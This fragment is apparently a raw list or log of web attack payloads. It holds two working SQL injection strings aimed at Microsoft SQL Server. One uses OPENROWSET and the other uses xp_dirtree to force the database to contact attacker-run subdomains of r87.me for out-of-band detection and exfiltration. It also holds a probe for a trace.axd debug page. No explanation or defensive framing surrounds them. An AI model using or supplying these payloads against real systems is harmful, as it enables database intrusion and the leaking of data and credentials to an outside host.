3
DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','9rq7epzlbiitamltjcaosparfjqnofcbmoeoapwl'+'ouc.r87.me')exec sp_executesql @r
127.0.0.1/trace.axd
syscolumns WHERE 2>3;exec('xp_dirtree ''\\9rq7epzlbi8p77_m1-ulppgg5_uuzfcnflpgycc8'+'wi0.r87.me'+'\c$\a''')--